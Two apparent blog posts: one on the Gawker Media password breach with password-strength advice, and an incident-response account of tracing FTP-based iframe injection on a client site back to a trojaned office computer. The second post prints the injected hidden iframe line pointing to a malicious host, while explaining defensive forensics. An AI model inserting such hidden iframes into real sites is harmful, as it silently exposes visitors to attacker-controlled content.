Gawker Media Hack Is A Password Reminder

Over the weekend, Gawker Media was hacked, providing an encrypted password list (among other things) to the hackers. A group calling themselves Gnosis has taken credit for the hack and released a package full of server information, notes on the hack, Gawker Media site source code and worst, everyone’s passwords.

Gnosis hack on Gawker Media

Judging by the statement made by the hackers, it looks like someone at Gawker pissed them off. I was actually planning another post about web security before this happened, but that will wait for another day as it has to do with different perils of having online accounts.

Here’s the email Gawker Media sent out today:

This weekend we discovered that Gawker Media’s servers were compromised,
resulting in a security breach at Lifehacker, Gizmodo, Gawker, Jezebel,
io9, Jalopnik, Kotaku, Deadspin, and Fleshbot. As a result, the user name
and password associated with your comment account were released on the
internet. If you’re a commenter on any of our sites, you probably have
several questions.

We understand how important trust is on the internet, and we’re deeply
sorry for and embarrassed about this breach of security. Right now we
are working around the clock to improve security moving forward. We’re
also committed to communicating openly and frequently with you to make
sure you understand what has happened, how it may or may not affect you,
and what we’re doing to fix things.

This is what you should do immediately: Try to change your password in
the Gawker Media Commenting System. If you used your Gawker Media
password on any other web site, you should change the password on those
sites as well, particularly if you used the same username or email with
that site. To be safe, however, you should change the password on those
accounts whether or not you were using the same username.

We’re continually updating an FAQ (http://lifehac.kr/eUBjVf) with more
information and will continue to do so in the coming days and weeks.

Gawker Media

How Does This Affect You?

If you’ve never commented on a web property in the Gawker Media network, you may not have anything to worry about. If you have, on the other hand, your password on that site has been compromised and you should think about where else you used that password and change it on all sites. In the quoted text above, Gawker points us to a post on Life Hacker full of answers. Of course, to minimize the effects of future hacks on Gawker or any site, it’s best to have a strong password (see below) and use different passwords for different sites. As an example, you wouldn’t want to use the same password on Gawker that you use for online banking.

Is Your Password Strong Enough

Surprisingly, too many people have passwords that are easy enough to crack or even just guessable. Without a doubt, the absolutely worst password you can use for any account is the word, “password”. Regardless, of the nearly 1.3 million accounts compromised, 1,959 had “password” as their passwords. Even if it’s not guessed by a hacker, the simplest brute force attack can crack this password in no time. So how do you know if your password is strong enough?

Is my Password Strong

I built a quick and easy password strength test site to help you test your password. This may be helpful but you can also get by with some quick password tips. To understand them, you should know a little about how a brute force attack works. Typically a script runs that tries one password after another until one works. A simple script might first try every word in a dictionary file. This is just a file full of known real words like “gamer”, “puppy”, or maybe, “password”. Failing that, it would start going through every character combination from aaa, aab, aac, for example, through to larger guesses like 9999999. A more time-consuming attack might make use of characters like $%!, etc. but this takes far longer. Having to check for upper vs lower case takes a lot longer as well. From this, we can assume that you can make your password stronger by making it longer and including numbers, mixed case, and special characters. By this logic, “Chr1Stm@s!!%” is a far more secure password than “christmas”.

Even if you were not affected directly by this, take this as a reminder to audit your password habits and make changes if needed. A little effort now can save you a lot of future headache.

Tracking And Stopping Web Site IFRAME Code Injection

Yesterday, I wrote about getting paid to hack. Part of what I talked about was computer forensics. Earlier in the day, I was presented with an opportunity to practice my own IT security skills. Below, I’ll explain what happened to my client, how an employee of mine and I found the source of the problem and what we did to fix it.

Log file

Discovering a problem
A client called, complaining that the content management system we built for them was not working properly, so one of the developers took a look at the code and immediately alerted me to a problem. When he looked at the code, he discovered two extra lines at the end. The lines were similar to the following and existed at the bottom of every index.php file in the site:

<iframe src=”http: //lotmachinesguide .cn/ in.cgi?income56″ width=1 height=1 style=”visibility: hidden”></iframe>

My first thought was that someone hacked in and changed the files. What about the rest of the server? This is where you get that sick feeling in your stomach and hope it’s not as bad as it could be. I emailed my wife and told her I’d be unavailable via phone/email/etc. for the next few hours.

Finding the cause
Tracking down the source of a hack or code injection like this can often be tricky. How tricky it is depends on your individual skill set, past experiences, and the complexity of the problem, itself. This one turned out to be easy, partially because I’ve done this before and know many of the places to look, but mostly because it wasn’t really a hack. Not locally, anyway. One of my developers and I sat down in my office and I started looking at the hacked files. Using the following command (from the client’s web root), I displayed a list of all files that were modified that day:

ls -laR |grep "Apr 24"

What it returned was a list of the index files I was already aware of. Good. I then ran the same command on other sites to be sure this was isolated and it was. Next, I checked “last” to see who’s been logging into my server:

last |grep [client username redacted] |grep Apr

Last shows all the recent logins from SSH, FTP, etc. Immediately, I noted a large number of FTP connections for the client site I was investigating, which looked suspicious. I headed to my FTP log files and grepped my “secure” log files for “Incorrect”:

grep Incorrect /var/log/secure*

Your system may use something other than “Incorrect” to indicate a bad login and your “secure” log file location may vary. This grep showed only a few bad attempts, which is fairly normal and not what I expected to see if the account had been brute-forced. I moved on to the FTP log file to see what transfers were made. You’ll need to find your own FTP log location if you don’t know where it is already.

grep "Apr 24" xferlog*

I did this mostly to confirm that I was on the right track, but it uncovered even more oddness. Here’s a bit of what I saw:

Fri Apr 24 11:17:32 2009 0 [ip redacted] 4289 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:38 2009 2 [ip redacted] 4402 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ i r [username redacted] ftp 0 * c
Fri Apr 24 11:17:51 2009 0 [ip redacted] 2836 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:56 2009 0 [ip redacted] 2949 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ i r [username redacted] ftp 0 * c

For each index file that had the iframe HTML added to the end, there was a download and then an upload five or six seconds later. The speed indicated that it was a script and the fact that it was all done via FTP indicated that if there was a compromised computer somewhere, it was remote and my server was safe.

Cleaning it all up
In this case, cleanup was easy. First, I backed up all the log files for further review just in case I need them. Then I changed the client’s FTP password. Finally, I pulled the latest (clean) versions of the affected index.php files from our subversion repository and uploaded them back to the site.

Preventing future occurrences
I wanted to find out exactly how someone who should clearly not have the client’s FTP credentials wound up with them. My theory was that the client’s computer had been compromised. I headed to arin.net and used their handy IP whois tool to see who the one prominent IP address from the log files belonged to. It turned out to be a COX IP registered to Atlanta, GA. We called the client and asked them if they had anyone there. They did not. The FTP logs also showed uploads, recently, of files documents that related to the client and looked to be legitimate, so we asked who uploaded them and conferenced him in. A couple questions quickly revealed that not only was the IP their local office computers, but the computers there had been “acting funny, randomly rebooting, etc.” for the last day or so. We sent their computer guy out to take care of the problem, which turned out to be a trojan.

Conclusions
First of all, this was a very easy problem to diagnose and fix. I’ve been on the bad end of some serious hacks and this was by no means a bad one. For the client, however, the day proved much more frustrating. The expense incurred from having the IT guy come out and the thought that it could have been much worse (like their site replaced with something untoward), should be a lesson to be very careful about what you download, what you click, and the sites you visit. The best policy is to only open or run things from sites and people you trust, and even then, use caution.